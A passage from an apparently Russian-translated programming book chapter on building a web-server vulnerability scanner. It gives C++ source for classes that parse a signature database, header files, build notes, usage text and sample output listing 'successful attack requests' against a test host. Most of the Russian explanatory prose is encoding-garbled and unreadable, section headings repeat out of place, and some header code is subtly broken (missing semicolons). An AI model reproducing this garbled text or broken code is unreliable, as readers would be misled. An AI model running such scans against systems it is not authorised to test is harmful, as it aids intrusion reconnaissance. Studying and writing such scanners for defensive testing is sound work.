178
179   if(idx < 0 ||

180      idx > (m_vec.size() – 1))

181   {

182     return(NULL);

183   }

184
185   vde = m_vec[idx];

186
187   return(vde);

188 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêàõ 15–71 îïðåäåëåíà ñâîáîäíàÿ (íå ÿâëÿþùàÿñÿ ÷ëåíîì êëàññà) ôóíê-
öèÿ strtrim(). Îíà óäàëÿåò èç ñòðîêè íà÷àëüíûå è õâîñòîâûå ïðîáåëû. Â ñòðî-
êàõ 27 è 28 ñîçäàåòñÿ íîâàÿ ïóñòàÿ ñòðîêà, â íåå êîïèðóåòñÿ âñå íóæíîå, è ðå-
çóëüòàò âîçâðàùàåòñÿ âûçûâàþùåé ïðîãðàììå.

Â ñòðîêàõ 36–45 ìû èùåì èíäåêñ ïåðâîãî íåïóñòîãî ñèìâîëà â èñõîäíîé
ñòðîêå, à â ñòðîêàõ 48–57 – èíäåêñ ïîñëåäíåãî íåïóñòîãî ñèìâîëà. Åñëè ïåð-
âûé èíäåêñ óêàçûâàåò íà êîíåö ñòðîêè, òî ôóíêöèÿ âåðíåò ïóñòóþ ñòðîêó.

Â ñòðîêàõ 65–70 ñîäåðæèìîå èñõîäíîé ñòðîêè, çà èñêëþ÷åíèåì íà÷àëüíûõ
è õâîñòîâûõ ïðîáåëîâ, êîïèðóåòñÿ â íîâóþ ñòðîêó.

Â ñòðîêàõ 73–80 îïðåäåëåí êîíñòðóêòîð êëàññà VulnDB ïî óìîë÷àíèþ. Ïðè
åãî âûçîâå äîëæíû áûòü èíèöèàëèçèðîâàíû ÷ëåíû êëàññà, ÿâëÿþùèåñÿ óêà-
çàòåëÿìè íà äèíàìè÷åñêè âûäåëÿåìóþ ïàìÿòü, èíà÷å âîçìîæíû îøèáêè. Òà-
êîå ñëó÷àåòñÿ â áîëåå ñëîæíûõ ïðîãðàììàõ, íî ìû ýòîé òåìû êàñàòüñÿ íå
áóäåì. Îáðàòèòå òàêæå âíèìàíèå íà òî, ÷òî îïåðàòîð ïðèñâàèâàíèÿ â ýòîì
êëàññå íå ðåàëèçîâàí. Ïîñêîëüêó ìû ñîáèðàåìñÿ ðàáîòàòü òîëüêî ñ îäíîé áà-
çîé äàííûõ, òî îí íàì íå íóæåí. Åñëè áû â ïðîãðàììå èñïîëüçîâàëîñü íå-
ñêîëüêî áàç äàííûõ, òàêîé îïåðàòîð ñëåäîâàëî áû ðåàëèçîâàòü. Î íàçíà÷å-
íèè êîíñòðóêòîðîâ, îïåðàòîðîâ ïðèñâàèâàíèÿ è äåñòðóêòîðîâ âû ìîæåòå óç-
íàòü èç ëþáîé êíèãè ïî ÿçûêó C++.

Â ñòðîêàõ 82–100 îïðåäåëåí äåñòðóêòîð. Îí îáõîäèò âåêòîð è óäàëÿåò èç
íåãî âñå ýëåìåíòû, ÷òîáû èçáåæàòü óòå÷åê ïàìÿòè, êîòîðàÿ ïðîèçîéäåò, åñëè
ïðè óíè÷òîæåíèè îáúåêòà íå îñâîáîäèòü âñþ âûäåëåííóþ äëÿ íåãî äèíàìè-
÷åñêóþ ïàìÿòü.

Â ñòðîêàõ 102–158 ðåàëèçîâàíî ñàìîå âàæíîå â êëàññå VulnDB – ëîãèêà ðàç-
áîðà äàííûõ îá óÿçâèìîñòÿõ.

Â ñòðîêå 115 ôàéë îòêðûâàåòñÿ, è åãî äåñêðèïòîð ñîõðàíÿåòñÿ â ïåðåìåí-
íîé fptr. Çàòåì â öèêëå, íà÷èíàþùåìñÿ â ñòðîêå 128, ïîñëåäîâàòåëüíî ÷èòà-
þòñÿ ñòðîêè èç ôàéëà.

Углубленный анализ
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Â ñòðîêå 130 âûçûâàåòñÿ ôóíêöèÿ strtrim() äëÿ óäàëåíèÿ íà÷àëüíûõ è õâîñ-
òîâûõ ïðîáåëîâ èç òîëüêî ÷òî ïðî÷èòàííîé ñòðîêè. Åñëè ñòðîêà îêàçûâàåòñÿ
êîììåíòàðèåì (ñòðîêè 132 è 133), òî íà ýòîì åå îáðàáîòêà çàêàí÷èâàåòñÿ,
è ìû ïåðåõîäèì ê ñëåäóþùåé ñòðîêå.

Â ñòðîêå 138 ñîçäàåòñÿ íîâûé îáúåêò êëàññà VulnDBEntry, êîòîðîìó ïðî÷è-
òàííàÿ ñòðîêà ñ óäàëåííûìè ïðîáåëàìè ïåðåäàåòñÿ äëÿ ðàçáîðà. Êîãäà ñòðîêà
áóäåò ðàçîáðàíà, îáúåêò ïîìåùàåòñÿ â âåêòîð m_vuln, è ìû ïåðåõîäèì ê ñëå-
äóþùåé èòåðàöèè öèêëà ÷òåíèÿ ñòðîê.

Åñëè ïðè ÷òåíèè íå ïðîèçîøëî îøèáîê, ôàéë çàêðûâàåòñÿ, è ôóíêöèÿ
èíèöèàëèçàöèè âîçâðàùàåò true.

Â ñòðîêàõ 161–168 îïðåäåëåí ìåòîä Size(). Îí âîçâðàùàåò ðàçìåð âåêòîð
îáúåêòîâ VulnDBEntry.

Â ñòðîêàõ 175–188 îïðåäåëåí ìåòîä GetEntry(). Îí âîçâðàùàåò óêàçàòåëü íà
îáúåêò VulnDBEntry, íàõîäÿùèéñÿ â âåêòîðå m_vuln ïî èíäåêñó idx, ïðè óñëî-
âèè, ÷òî èíäåêñ íå âûõîäèò çà ïðåäåëû âåêòîðà.

Â ðåçóëüòàòå ðàçáîðà ñòðîêè â êëàññå VulnDBEntry çàïîëíÿþòñÿ ÷ëåíû Path,
Result, Method è Descri ption, êîòîðûå  â äàëüíåéøåì áóäóò èñïîëüçîâàòüñÿ äëÿ
ïîëó÷åíèÿ äîñòóïà ê äàííûì îá óÿçâèìîñòè.

 1 /*

 2  * VulnDBEntry.cpp

 3  *

 4  *

 5  *

 6  */

 7
 8 #include <stdio.h>

 9 #include "VulnDBEntry.h"

10
11 #define VDBE_FIELD_TYPE   0x0000

12 #define VDBE_FIELD_PATH   0x0001

13 #define VDBE_FIELD_RES    0x0002

14 #define VDBE_FIELD_METH   0x0003

15 #define VDBE_FIELD_DESC   0x0004

16
17 /*

18  * VulnDBEntry()

19  *

20  *

21  */

22 VulnDBEntry::VulnDBEntry()

23 {

24 }

25
26 /*
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27  * ~VulnDBEntry()

28  *

29  *

30  */

31 VulnDBEntry::~VulnDBEntry()

32 {

33 }

34
35 /*

36  * Init()

37  *

38  *

39  */

40
41 // ñîñòîÿíèÿ ðàçáîðà

42 #define VDBE_BEGTOK   0x0001

43 #define VDBE_INTOK    0x0002

44 #define VDBE_ENDTOK   0x0003

45 #define VDBE_NXTTOK   0x0004

46 #define VDBE_ESC      0x0005

47
48 bool VulnDBEntry::Init(char *entry)

49 {

50   string tmp;

51   char   ch  = 0;

52   int    st  = 0;

53   int    cnt = 0;

54   int    len = 0;

55   int    idx = 0;

56
57   // ôîðìàò

58   // #type #path               #tok  #meth #desc

59   // "iis","/_vti_bin/_vti_cnf/","200","GET","frontpage, \"directory

      found."

60
61   if(entry == NULL)

62   {

63     return(false);

64   }

65
66   len = strlen(entry);

67
68   if(len <= 0)

69   {

70     return(false);

71   }

72
73   st = VDBE_BEGTOK;

74

Углубленный анализ
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 75   while(idx < len)

 76   {

 77     ch = entry[idx];

 78
 79     switch(st)

 80     {

 81       case VDBE_BEGTOK:

 82
 83            ++idx;

 84
 85            // íà÷àëüíûå ïðîáåëû äîïóñòèìû

 86            if(ch == ' '  ||

 87               ch == '\t' ||

 88               ch == '\n' ||

 89               ch == '\r')

 90            {

 91               break;

 92            }

 93
 94            // íà÷àëî ïîëÿ

 95            if(ch == '\"')

 96            {

 97              // îòêðûâàþùàÿ "

 98              st = VDBE_INTOK;

 99              break;

100            }

101
102            // íåäîïóñòèìûé ñèìâîë

103            return(false);

104
105            break;

106
107       case VDBE_INTOK:

108
109            // çàêðûâàþùàÿ " (íå âêëþ÷àòü idx)

110            if(ch == '\"')

111            {

112              st = VDBE_ENDTOK;

113              break;

114            }

115
116            ++idx;

117
118            // escape-ñèìâîë

119            if(ch == '\\')

120            {

121              st = VDBE_ESC;

122              break;

123            }
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124
125            // ñîõðàíèòü ñèìâîë

126            tmp += ch;

127
128            break;

129
130       case VDBE_ENDTOK:

131
132            // íå âêëþ÷àòü idx

133
134            // ñîõðàíèòü çíà÷åíèå

135            m_str[cnt] = tmp;

136            tmp        = "" ;

137
138            // âñå ïîëÿ ðàçîáðàíû

139            ++cnt;

140            if(cnt == VDBE_FIELD_CNT)

141            {

142              return(true);

143            }

144
145            // ïåðåéòè ê ñëåäóþùåìó ïîëþ

146            st = VDBE_NXTTOK;

147
148            break;

149
150       case VDBE_ESC:

151
152            // îáðàáîòàòü èìåíà äèñêîâ â ôîðìàòå DOS

153            //("c:\")

154            if(entry[idx – 2] == ':')

155            {

156              if(entry[idx] == '\\')

157              {

158                ++idx;

159                tmp += '\\';

160                st   = VDBE_INTOK;

161                break;

162              }

163              else if(entry[idx] == '\"')

164              {

165                ++idx;

166                if(idx < len)

167                {

168                  if(entry[idx] == ',')

169                  {

170                    tmp += '\\';

171                    st   = VDBE_ENDTOK;

172                  }

Углубленный анализ
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173                  else

174                  {

175                    tmp += '\"';

176                    st   = VDBE_INTOK;

177                  }

178                }

179
180                break;

181              }

182              else

183              {

184                tmp += '\\';

185              }

186            }

187
188            tmp += ch;

189            st   = VDBE_INTOK;

190            ++idx;

191
192            break;

193
194       case VDBE_NXTTOK:

195
196            ++idx;

197
198            if(ch == ',')

199            {

200              st = VDBE_BEGTOK;

201            }

202
203            break;

204     }

205   }

206
207   printf("\r\n*** ÎØÈÁÊÀ ÏÐÈ ÐÀÇÁÎÐÅ: %s\r\n\r\n", entry);

208
209   return(false);

210 }

211
212 /*

213  * GetType()

214  *

215  *

216  */

217 string VulnDBEntry::GetType()

218 {

219   return(m_str[VDBE_FIELD_TYPE]);

220 }



727

221
222 /*

223  * GetPath()

224  *

225  *

226  */

227 string VulnDBEntry::GetPath()

228 {

229   return(m_str[VDBE_FIELD_PATH]);

230 }

231
232 /*

233  * GetResult()

234  *

235  *

236  */

237 string VulnDBEntry::GetResult()

238 {

239   return(m_str[VDBE_FIELD_RES ]);

240 }

241
242 /*

243  * GetMethod()

244  *

245  *

246  */

247 string VulnDBEntry::GetMethod()

248 {

249   return(m_str[VDBE_FIELD_METH]);

250 }

251
252 /*

253  * GetDesc()

254  *

255  *

256  */

257 string VulnDBEntry::GetDesc()

258 {

259   return(m_str[VDBE_FIELD_DESC]);

260 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêàõ 11–15 îïðåäåëåíû êîíñòàíòû, îïèñûâàþùèå ñîñòîÿíèå ðàçáîðà.

Â ñòðîêàõ 17–33 îïðåäåëåíû êîíñòðóêòîð è äåñòðóêòîð. Îáà íè÷åãî íå äåëà-
þò, òàê ê êëàññå VulnDBEntry, â îòëè÷èå îò VulnDB, íåò ÷ëåíîâ äàííûõ, ïà-
ìÿòü äëÿ êîòîðûõ âûäåëÿåòñÿ äèíàìè÷åñêè.

Углубленный анализ
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Â ñòðîêàõ 35–210 îïðåäåëåíà ôóíêöèÿ Init(). Êàê è îäíîèìåííàÿ ôóíêöèÿ
â êëàññå VulnDB, îíà è âûïîëíÿåò ñîáñòâåííî àíàëèç è ðàçáîð ñèãíàòóðû.

×òîáû ïîíÿòü, êàê ðàáîòàåò àíàëèçàòîð, âàæíî ïðîñëåäèòü çà èñïîëüçîâàíè-
åì ëîêàëüíûõ ïåðåìåííûõ. Â ñòðîêå tmp õðàíèòñÿ òåêóùåå àíàëèçèðóåìîå
ïîëå. Ïåðåìåííàÿ st ñîäåðæèò òåêóùåå ñîñòîÿíèå ðàçáîðà. Îíà èñïîëüçóåòñÿ
â ïðåäëîæåíèè switch â ñòðîêå 79. Ïåðåìåííàÿ cnt – ýòî ñ÷åò÷èê óæå îáðàáîòàí-
íûõ ïîëåé. Êàê òîëüêî ñ÷åò÷èê äîñòèãàåò çíà÷åíèÿ VDBE_FIELD_COUNT
(5), ôóíêöèÿ âîçâðàùàåò true â çíàê óñïåøíîãî çàâåðøåíèÿ ðàáîòû. Â ïåðå-
ìåííîé len õðàíèòñÿ äëèíà ïåðåäàííîé íà âõîä ñòðîêè, à â ïåðåìåííîé idx –
òåêóùàÿ ïîçèöèÿ â íåé.

Â ñòðîêàõ 61–71 îòáðàñûâàþòñÿ ïóñòûå ñòðîêè, äëÿ êîòîðûõ ôóíêöèÿ âîç-
âðàùàåò false.

Â ñòðîêå 73 ïðîöåäóðà ðàçáîðà íàõîäèòñÿ â íà÷àëüíîì ñîñòîÿíèè, ïîýòîìó
â ïåðåìåííóþ st çàíîñèòñÿ çíà÷åíèå VDBE_BEGTOK.

Â ñòðîêå 75 íà÷èíàåòñÿ öèêë while, êîòîðûé áóäåò âûïîëíÿòüñÿ, ïîêà èí-
äåêñ idx ìåíüøå äëèíû ñòðîêè. Â íà÷àëå öèêëà â ïåðåìåííóþ ch êîïèðóåòñÿ
ñèìâîë, íàõîäÿùèéñÿ â ïîçèöèè entry[idx].

Â ñòðîêå 79 íà÷èíàåòñÿ ïåðåêëþ÷àòåëü switch, ñîñòîÿùèé èç ïÿòè âåòâåé,
êîòîðûå ñîîòâåòñòâóþò âîçìîæíûì ñîñòîÿíèÿì ðàçáîðà.

� VDBE_BEGTOK (íà÷àëî ïîëÿ):

1. Â ñòðîêå 83 èíäåêñ óâåëè÷èâàåòñÿ è óêàçûâàåò íà ñëåäóþùèé ñèìâîë
â ñòðîêå.

2. Ïîñêîëüêó êàæäîå ïîëå íà÷èíàåòñÿ è çàêàí÷èâàåòñÿ ñèìâîëîì
äâîéíîé êàâû÷êè, òî â ýòîì ñîñòîÿíèè ìû ïðîïóñêàåì âñå ïóñòûå
ñèìâîëû, ïîêà íå âñòðåòèòñÿ îòêðûâàþùàÿ êàâû÷êà (ñòðîêà 95).
Åñëè âäðóã áóäåò ïðî÷èòàí íåïóñòîé ñèìâîë, îòëè÷íûé îò êàâû÷êè,
òî ôóíêöèÿ âåðíåò false, èíäèöèðóÿ îøèáêó ïðè ðàçáîðå.

3. Êîãäà ñèìâîë êàâû÷êè áóäåò íàéäåí, óñòàíàâëèâàåòñÿ ñîñòîÿíèå
VDBE_INTOK (ñòðîêà 98).

� VDBE_BEGTOK (âíóòðè ïîëÿ):

4. Åñëè â ýòîì ñîñòîÿíèè áóäåò îáíàðóæåíà äâîéíàÿ êàâû÷êà, ïðîöåäó-
ðà ðàçáîðà ïåðåõîäèò â ñîñòîÿíèå VDBE_ENDTOK (ñòðîêà 112), è ìû
âîçâðàùàåìñÿ â íà÷àëî öèêëà.

5. Â ñòðîêå 116 èíäåêñ óâåëè÷èâàåòñÿ íà åäèíèöó, òî åñòü ìû ïåðåõî-
äèì ê ñëåäóþùåìó ñèìâîëó.

6. Åñëè îáíàðóæåí ñèìâîë ýêðàíèðîâàíèÿ ‘\’, òî óñòàíàâëèâàåòñÿ ñî-
ñòîÿíèå VDBE_ESC, è ìû âîçâðàùàåìñÿ â íà÷àëî öèêëà.

7. Â ïðîòèâíîì ñëó÷àå ïðî÷èòàí îáû÷íûé ñèìâîë (ñòðîêà 126), êîòî-
ðûé ìîæíî äîáàâèòü â ñòðîêó tmp. Çàòåì öèêë ïðîäîëæàåòñÿ, âñå
åùå îñòàâàÿñü â ñîñòîÿíèè INTOK.
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� VDBE_ENDTOK (êîíåö ïîëÿ):

8. Â ñòðîêå 135 çíà÷åíèå òåêóùåãî ïîëÿ êîïèðóåòñÿ èç ñòðîêè tmp
â î÷åðåäíîé ýëåìåíò ìàññèâà m_str. Çàòåì ñòðîêà tmp î÷èùàåòñÿ,
à ñ÷åò÷èê ïîëåé óâåëè÷èâàåòñÿ íà 1.

9. Â ñòðîêå 140, åñëè ñ÷åò÷èê ñòàë ðàâåí ÷èñëó ïîëåé (VDBE_FIELD_CNT),
òî ðàçáîð ñ÷èòàåòñÿ óñïåøíûì, è ôóíêöèÿ âîçâðàùàåò true.

10. Â ïðîòèâíîì ñëó÷àå óñòàíàâëèâàåòñÿ ñîñòîÿíèå VDBE_ENDTOK,
è öèêë ïðîäîëæàåòñÿ.

� VDBE_ESC (îáðàáîòêà escape-ïîñëåäîâàòåëüíîñòè):

11. Â ñòðîêå 154, åñëè íàéäåí ñèìâîë ‘\’, òî ïðîâåðÿåòñÿ, ÷òî ïðåäøå-
ñòâóþùèé åìó – íå äâîåòî÷èå. Èíà÷å ïðèäåòñÿ îáðàáîòàòü ñëó÷àé,
êîãäà â ñòðîêå âñòðåòèëîñü îáîçíà÷åíèå äèñêà, ïðèíÿòîå â DOS.

12. Â ñòðîêå 156, åñëè âûÿñíèëîñü, ÷òî òåêóùèé ñèìâîë â ïåðåìåííîé
ch – ýòî ÷àñòü èìåíè äèñêà, òî â ïóòü äîáàâëÿåòñÿ ñèìâîë ‘\’, à ïðî-
öåäóðà ðàçáîðà ïåðåõîäèò â ñîñòîÿíèå VDBE_INTOK. Çàòåì ðàçáîð
ïðîäîëæàåòñÿ îáû÷íûì îáðàçîì.

13. Â ñòðîêå 163, åñëè ïîñëå “:\” èäåò äâîéíàÿ êàâû÷êà, à ïîòîì çàïÿ-
òàÿ, òî â ñòðîêó tmp äîáàâëÿåòñÿ ñèìâîë ‘\’ è ñîñòîÿíèå óñòàíàâ-
ëèâàåòñÿ â VDBE_ENDTOK. Èíà÷å (ñòðîêà 173) â tmp çàíîñèòñÿ
äâîéíàÿ êàâû÷êà, à â st – VDBE_INTOK. Åñëè æå ïîñëå äâîåòî÷èÿ
íåò íè ‘\’, íè äâîéíîé êàâû÷êè, òî â tmp äîáàâëÿåòñÿ ñíà÷àëà ñèì-
âîë ‘\’, à çà íèì – òåêóùèé ñèìâîë èç ch. Ïðîöåäóðà ðàçáîðà ïåðåõî-
äèò â ñîñòîÿíèå VDBE_INTOK, èíäåêñ óâåëè÷èâàåòñÿ íà 1 è ðàçáîð
ïðîäîëæàåòñÿ.

� VDBE_NXTTOK (ñëåäóþùåå ïîëå):

14. Â ñòðîêå 196 ìû óâåëè÷èâàåì èíäåêñ, ïîêà íå âñòðåòèòñÿ çàïÿòàÿ.
Ïîñëå ýòîãî óñòàíàâëèâàåòñÿ ñîñòîÿíèå VDBE_NXTTOK, è ðàçáîð
ïðîäîëæàåòñÿ.

15. Â ñòðîêå 207, åñëè öèêë çàâåðøàåòñÿ ðàíüøå, ÷åì îáðàáîòàíû âñå
îæèäàåìûå ïîëÿ, ôóíêöèÿ âîçâðàùàåò false.

16. Â ñòðîêàõ 212–260 îïðåäåëåíû ìåòîäû äîñòóïà ê ÷ëåíàì êëàññà, èíè-
öèàëèçèðîâàííûì â ôóíêöèè Init(). Ìåòîäû íàçûâàþòñÿ GetType()
(ñòðîêà 217), GetPath() (ñòðîêà 227), GetResult() (ñòðîêà 237), GetMethod()
(ñòðîêà 247) è GetDesc() (ñòðîêà 257).

Îáúÿâëåíèÿ êëàññîâ, èõ ÷ëåíîâ-äàííûõ è ìåòîäîâ ñîáðàíû â çàãîëîâî÷íûõ
ôàéëàõ. Êàæäûé òàêîé ôàéë íà÷èíàåòñÿ ñî ñòðîêè, àíàëîãè÷íîé ñòðîêå 8
â ôàéëå VulnDB.h. Îíà ïðåäîòâðàùàåò ïîâòîðíîå âêëþ÷åíèå ôàéëà.

Углубленный анализ
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Заголовочные файлы

Â ôàéëå VulnDB.h îáúÿâëåí êëàññ VulnDB. Âñå åãî ìåòîäû áûëè ïîäðîáíî ðàñ-
ñìîòðåíû âûøå. Â êëàññå åñòü îäèí çàêðûòûé ÷ëåí äàííûõ vector<VulnDBEntry*>
m_vec. Â íåì õðàíÿòñÿ îáúåêòû êëàññà VulnDBEntry, ÷èñëî êîòîðûõ çàðàíåå
íåèçâåñòíî.

 1 /*

 2  * VulnDB.h

 3  *

 4  *

 5  *

 6  */

 7
 8 #if !defined(__VULNDB_H__)

 9 #define __VULNDB_H__

10
11 #include <vector>

12 using std::vector;

13
14 #include "VulnDBEntry.h"

15
16 /*

17  *

18  * VULNDB CLASS

19  *

20  */

21 class VulnDB

22 {

23 public:

24
25   /*

26   * VulnDB()

27   *

28   *

29   */

30   VulnDB();

31
32   /*

33   * ~VulnDB()

34   *

35   *

36   */

37   ~VulnDB();

38
39   /*

40   * Init()

41   *
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42   *

43   */

44   bool Init(string filename);

45
46   /*

47   * Size()

48   *

49   *

50   */

51   int Size();

52
53   /*

54   * GetEntry()

55   *

56   *

57   */

58   VulnDBEntry *GetEntry(int idx);

59
60 private:

61
62   vector<VulnDBEntry *> m_vec;

63
64 };

65
66 #endif /* __VULNDB_H__ */

Â ôàéëå VulnDBEntry.h îáúÿâëåí êëàññ VulnDBEntry, ìåòîäû êîòîðîãî òàê-
æå áûëè îïèñàíû âûøå. Â ýòîì êëàññå åñòü îäèí çàêðûòûé ÷ëåí äàííûõ, ìàñ-
ñèâ ñòðîê m_str[VDBE_FIELD_CNT]. Â íåì õðàíÿòñÿ çíà÷åíèÿ ïÿòè ïîëåé, ñî-
äåðæàùèõ ðàçëè÷íûå êîìïîíåíòû ñèãíàòóðû: òèï, ïóòü, îæèäàåìûé ðåçóëü-
òàò, ìåòîä è îïèñàíèå. Êëàññ ðåàëèçóåò ðàçáîð ñèãíàòóðû è ïðåäîñòàâëÿåò
èíôîðìàöèþ î íåé «ïàêåòíîé ïóøêå».

 1 /*

 2  * VulnDBEntry.h

 3  *

 4  *

 5  *

 6  */

 7
 8 #if !defined(__VULNDBENTRY_H__)

 9 #define __VULNDBENTRY_H__

10
11 #include <string>

12 using std::string;

13
14 #define VDBE_FIELD_CNT  0x0005

Углубленный анализ



732 Глава 14. Создание инструмента для проверки уязвимости Web�приложения

15
16 /*

17  *

18  * VULNDBENTRY CLASS

19  *
20  */

21 class VulnDBEntry

22 {

23 public:

24
25    /*

26     * VulnDBEntry()

27     *

28     *

29     */

30     VulnDBEntry()
31
32    /*

33     * ~VulnDBEntry()

34     *

35     *

36     */

37     ~VulnDBEntry()
38
39    /*

40     * Init()

41     *

42     *

43     */

44     bool Init(char *entry);
45
46    /*

47     * GetMethod()

48     *

49     *

50     */

51     string GetMethod();
52
53    /*

54     * GetPath()

55     *

56     *

57     */

58     string GetPath();
59
60    /*

61     * GetResult()

62     *

63     *
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64     */

65     string GetResult();
66
67    /*

68     * GetDesc()

69     *

70     *

71     */

72     string GetDesc();
73
74    /*

75     * GetType()

76     *

77     *

78     */

79     string GetType();
80
81 private:

82
83     string m_str[VDBE_FIELD_CNT]

84
85 };

86
87 #endif /* __VULNDBENTRY_H__ */

Компиляция

Ýòà ïðîãðàììà ïðåäíàçíà÷àëàñü äëÿ êîìïèëÿöèè â ñðåäå Microsoft Visual
Studio. Ìû ïîëüçîâàëèñü ñòàíäàðòíûì êîìïèëÿòîðîì Visual Studio Ñ++ 6.0.
Íóæíî ëèøü ñîçäàòü ïðîåêò, ñîäåðæàùèé âñå ïðèâåäåííûå âûøå ôàéëû
â íîâîì ðàáî÷åì ïðîñòðàíñòâå, à çàòåì ñîáðàòü åãî. Âñå íåîáõîäèìûå áèáëèî-
òåêè âêëþ÷åíû â èñõîäíûé òåêñò ñ ïîìîùüþ äèðåêòèâû #pragma, òàê ÷òî
ÿâíî óêàçûâàòü èõ â ïàðàìåòðàõ ïðîåêòà íå îáÿçàòåëüíî.

Выполнение

Íèæå ïîêàçàíà ñïðàâêà î ïðîãðàììå, êîòîðàÿ âûâîäèòñÿ, åñëè â êîìàíäíîé
ñòðîêå íåïðàâèëüíî çàäàíû àðãóìåíòû. Êàê âèäèòå, ïðîãðàììîé ñîâñåì íå-
òðóäíî ïîëüçîâàòüñÿ, äà è ïðè ðàçðàáîòêå ìû ñòàðàëèñü âñå ñäåëàòü ìàêñè-
ìàëüíî ïðîñòî.

Ñïðàâêà î ïðîãðàììåÑïðàâêà î ïðîãðàììåÑïðàâêà î ïðîãðàììåÑïðàâêà î ïðîãðàììåÑïðàâêà î ïðîãðàììå
Webserver Scanner by the Author's of Advanced Security Programming: Price,
Foster, and Tommy
We use CIRT's awesome and freely available VulnDB!
Usage: sprebel.exe hostname <port> <0|1> <bufsize>

Углубленный анализ
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<0> = Default, Minimal Output
<1> = Verbose Output – show me the request and response buffer

Â ðàñïå÷àòêå íèæå ïîêàçàíû ðåçóëüòàòû ðàáîòû ïðîãðàììû SP-Rebel, êîã-
äà ïàðàìåòðû çàäàíû ïî óìîë÷àíèþ. Êàê âèäèòå, â ñëó÷àå óñïåøíîé àòàêè
ïðîòèâ íàìå÷åííîé öåëè ïå÷àòàåòñÿ íåñêîëüêî ïîëåé. Ìû âûâîäèì IP-àäðåñ
öåëè, íîìåð ïîðòà è HTTP-çàïðîñ (GET èëè POST), íà êîòîðûé ïîëó÷åí îòâåò
200 OK èëè èíîé, çàäàííûé â ñèãíàòóðå. Ìû íå ñòàëè ïðèâîäèòü âñþ ðàñïå-
÷àòêó öåëèêîì, ïîñêîëüêó íåò ñìûñëà ïîêàçûâàòü âñå óñïåøíûå àòàêè ïðîòèâ
ñòàðîãî, íåçàëàòàííîãî Web-ñåðâåðà Apache äëÿ Windows.

Результаты работы
C:\sp-rebel.exe 10.3.200.3 8080
õîñò/àäðåñ: 10.3.200.3; ïîðò: 8080; âûâîäèòü: 0; äëèíà áóôåðà: 1024
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET / HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /icons HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.ca HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.cz.iso8859-
      2 HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.de HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.dk HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.ee HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.el HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.en HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.es HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.et HTTP/1.0
ÖÅËÜ: 10.3.200.3 @ 8080, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ : GET /index.html.fr HTTP/1.0

ðàñïå÷àòêà íå ïîëíà èç-çà íåäîñòàòêà ìåñòà...
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Резюме
Â ïðîøëîì äåñÿòèëåòèè Web-ïðèëîæåíèÿ ñòàëè ÷àñòüþ ïîâñåäíåâíîé æèçíè
îáùåñòâà, è òåïåðü äàæå ñàìûå ñîâðåìåííûå è ïåðåäîâûå òåõíîëîãèè âðÿä
ëè çàñòàâÿò õîòÿ áû áðîâüþ ïîâåñòè ïîëüçîâàòåëÿ, êîòîðûé åæåäíåâíî áëóæ-
äàåò ïî ïðîñòîðàì Èíòåðíåòà. Óÿçâèìîñòè, êîòîðûå èùåò ðàññìîòðåííàÿ
â ýòîé ãëàâå óòèëèòà, ñïîñîáíû â ðàâíîé ìåðå íàíåñòè óùåðá áèçíåñó è ïðà-
âèòåëüñòâó.

Ýòà ãëàâà äåìîíñòðèðóåò ïðèìåíåíèå ìíîãèõ ïðèåìîâ ïðîãðàììèðîâàíèÿ,
êîòîðûå ìû äåòàëüíî ðàññìàòðèâàëè â ýòîé êíèãå. Îíà ïîñâÿùåíà ðàçðàáîò-
êå ñ íóëÿ èíñòðóìåíòà äëÿ ðåøåíèÿ êîíêðåòíîé çàäà÷è: â íàøåì ñëó÷àå ìû
âçÿëè çà îñíîâó ëó÷øóþ â ñâîåì êëàññå áåñïëàòíóþ ïðîãðàììó Nikto è ïîñòà-
ðàëèñü óñîâåðøåíñòâîâàòü åå äëÿ äîñòèæåíèÿ áîëüøåé ýôôåêòèâíîñòè è áû-
ñòðîäåéñòâèÿ. Ìû ïðîäåìîíñòðèðîâàëè ìåòîäû ðàçáîðà òåêñòîâûõ äàííûõ,
âû÷èñëåíèé ñ äèíàìè÷åñêèìè äàííûìè, ïîñòðîåíèÿ ëîãè÷åñêèõ äåðåâüåâ, ðà-
áîòû ñ ñîêåòàìè è àíàëèçà óÿçâèìîñòåé â Web. Èìåÿ ïåðåä ãëàçàìè òåêñò ïðî-
ãðàììû è åãî ïîäðîáíîå îïèñàíèå, à òàêæå ïîëüçóÿñü îáðåòåííûìè â õîäå
÷òåíèÿ êíèãè íàâûêàìè, âû ñìîæåòå äî êîíöà ðàçîáðàòüñÿ â êîäå è áåç òðóäà
